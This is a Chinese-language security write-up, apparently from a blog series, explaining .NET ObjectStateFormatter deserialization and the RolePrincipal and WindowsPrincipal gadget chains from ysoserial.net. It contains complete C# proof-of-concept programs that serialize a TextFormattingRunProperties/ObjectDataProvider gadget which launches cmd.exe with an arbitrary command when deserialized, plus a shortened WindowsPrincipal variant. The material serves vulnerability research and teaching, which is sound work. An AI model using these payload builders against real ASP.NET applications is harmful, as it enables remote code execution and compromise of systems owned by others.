ObjectStateFormatter

ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。

微软官方文档指出:

ObjectStateFormatter is used by the PageStatePersister class and classes that derive from it to serialize view state and control state. It is also used by the LosFormatter class to provide object state graph formatting for various parts of the ASP.NET infrastructure.

PageStatePersister类和从其派生的类使用ObjectStateFormatter来序列化视图状态和控件状态。LosFormatter类还使用它为ASP.NET基础结构的各个部分提供对象状态图格式。可见ObjectStateFormatter是LosFormatter的底层实现,而在ysoserial.net工具中并没有这个formatter,原因是因为在ysoserial.net工具中有这样一句话:

We don't actually need to use ObjectStateFormatter in ysoserial.net because it is the same as LosFormatter without MAC/keys

即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key。

序列化和反序列化

构造方法只有一个无参构造,反序列化方法同样支持直接反序列化字符串,和LosFormatter差不多,不再赘述。

攻击链

针对前文中多个ClaimsIdentity及其拓展的攻击链,本文继续讲解RolePrincipal、WindowsPrincipal。

RolePrincipal

先看ysoserial.net中的payload构造

其中B64Payload存放的是TextFormattingRunPropertiesGenerator通过base64之后BinaryFormatter序列化的数据。

RolePrincipal类继承ClaimsPrincipal。在RolePrincipal的反序列化构造方法中

调用父类的Identities字段

该字段在父类反序列化时进行赋值,看父类的反序列化构造方法

调用Deserialize(),跟进

枚举info,如果键名为System.Security.ClaimsPrincipal.Identities时进入this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"))

将info.GetString("System.Security.ClaimsPrincipal.Identities")的base64值转byte[]数组通过binaryformatter直接反序列化。由此造成RCE。

整个链:父类在反序列化构造时将info.GetString("System.Security.ClaimsPrincipal.Identities")取出的值base64转byte数组之后直接反序列化造成RCE。

自己尝试构造payload

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace ObjectStateFormatterSerialize
{
    class Program
    {
        static void Main(string[] args)
        {
            TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
            string b64payload;
            using (MemoryStream m = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(m, calc);
                b64payload = Convert.ToBase64String(m.ToArray());
            }
            RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
            ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
            string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
            objectStateFormatter.Deserialize(p);
        }


    }
    [Serializable]
    public class RolePrincipalMarshal : ISerializable
    {
        public RolePrincipalMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(System.Web.Security.RolePrincipal));
            info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
        }
    }
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;
            _xaml = XamlWriter.Save(odp);
        }
    }
}

运行后弹出calc。

WindowsPrincipal

对于WindowsPrincipal的构造就两行代码

在generate的时候

新建了一个WindowsIdentity实例,其Actor字段的BootstrapContext值赋值为TextFormattingRunPropertiesGadget的payload。看到BootstrapContext就知道是ClaimsIdentity gadget的又一次利用。自己构造payload

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Security.Principal;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace ObjectStateFormatterSerialize
{
    class Program
    {
        static void Main(string[] args)
        {
            WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
            currentWI.Actor = new ClaimsIdentity();
            currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
            WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
            obj.wi = currentWI;
            string v = new ObjectStateFormatter().Serialize(obj);
            new ObjectStateFormatter().Deserialize(v);
        }


    }
    [Serializable]
    public class WindowsPrincipalMarshal : ISerializable
    {
        public WindowsPrincipalMarshal() { }
        public WindowsIdentity wi { get; set; }
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(WindowsPrincipal));
            info.AddValue("m_identity", wi);
        }
    }

    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;
            _xaml = XamlWriter.Save(odp);
        }
    }
}

WindowsPrincipal类有一个字段类型为WindowsIdentity

而前文中讲过WindowsIdentity的bootstrapContext字段可反序列化RCE。所以payload构造可以更简单些:

class Program
{
    static void Main(string[] args)
    {
        WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
        currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc");
        WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
        obj.wi = currentWI;
        string v = new ObjectStateFormatter().Serialize(obj);
        new ObjectStateFormatter().Deserialize(v);
    }
}

堆栈

可见在反序列化重建对象时,填充类型为WindowsIdentity的m_identity字段时触发了其父类的反序列化,从而反序列化bootstrapContext。

在GetObjectData中

[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
    public WindowsPrincipalMarshal() { }
    public WindowsIdentity wi { get; set; }
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(WindowsPrincipal));
        info.AddValue("m_identity", wi);
    }
}

m_identity可以改成随便的字符串,因为在info中,value对象被序列化存储,在反序列化时,info重建其value会自动反序列化。

后文

本文讲解了RolePrincipal、WindowsPrincipal攻击链。RolePrincipal是对ClaimsPrincipal的继承利用,WindowsPrincipal是套娃WindowsIdentity,本质还是通过ClaimsIdentity利用。

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